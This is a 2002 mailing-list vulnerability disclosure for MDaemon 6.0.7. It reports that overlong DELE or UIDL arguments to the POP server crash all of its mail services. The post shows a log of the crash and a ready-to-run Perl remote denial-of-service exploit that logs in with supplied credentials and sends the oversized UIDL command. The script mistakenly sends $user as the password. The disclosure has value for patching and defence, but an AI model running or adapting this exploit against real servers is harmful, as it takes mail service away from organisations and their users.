Date: Sun, 27 Oct 2002 19:49:45 +0300
From: D4rkGr3y <[email protected]>
To: [email protected], [email protected],
Subject: MDaemon SMTP/POP/IMAP server DoS
######################################################
#Product: MDaemon SMTP/POP/IMAP server #
#Authors: Alt-N Technologies Ltd [www.mdaemon.com] #
#Vulnerable versions: v.6.0.7 and bellow #
#Vulnerability: buffer overflow #
#Bug&exploit by D4rkGr3y [www.dhgroup.org] #
######################################################
#Overview#--------------------------------------------------------------#
>From MDaemon's help file:
"MDaemon Server v6 brings SMTP/POP/IMAP and MIME mail services
commonplace on UNIX hosts and the Internet to Windows based servers
and microcomputers. MDaemon is designed to manage the email needs of
any number of individual users and comes complete with a powerful set
of integrated tools for managing mail accounts and message formats.
MDaemon offers a scalable SMTP, POP3, and IMAP4 mail server complete
with LDAP support, an integrated browser-based email client, content
filtering, spam blockers, extensive security features, and more."
#Problem#----------------------------------------------------------------#
Bug founded in MDaemon's pop-server. It's possible to kill MDaemon by
sending long arguments (32b and above) with DELE or UIDL commands.
To do this u must have at least mail-account on vulnerable host.
After geting long request from client, all MDaemon's Services will be
closed (smtp, imap, pop, (?)worldclient).
Here the log of attack on local MDaemon POP-server:
+OK dark.ru POP MDaemon ready using UNREGISTERED SOFTWARE 6.0.7 <MDAEMON-F200210
[email protected]>
USER D4rkGr3y
+OK D4rkGr3y... Recipient ok
PASS cool-pass
+OK [email protected]'s mailbox has 1 total messages (18356 octets).
UIDL 11111111111111111111111111111111
Connection to host lost...
#Exploit#----------------------------------------------------------------#
#!/usr/bin/perl
#MDaemon SMTP/POP/IMAP server remote DoS exploit by D4rkGr3y
use IO::Socket;
$host = "[vuln_host]";
$login = "[login]";
$pass = "[pass]";
$port = "110";
$data = "1";
$num = "32";
$buf .= $data x $num;
$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "tcp", Type => SOCK_STREAM)
or die "Couldn't connect: @!\n";
print $socket "USER $login\n";
print $socket "PASS $user\n";
print $socket "UIDL $buf\n";
close($socket);
#EOF
Best regards www.dhgroup.org
D4rkGr3y icq 540981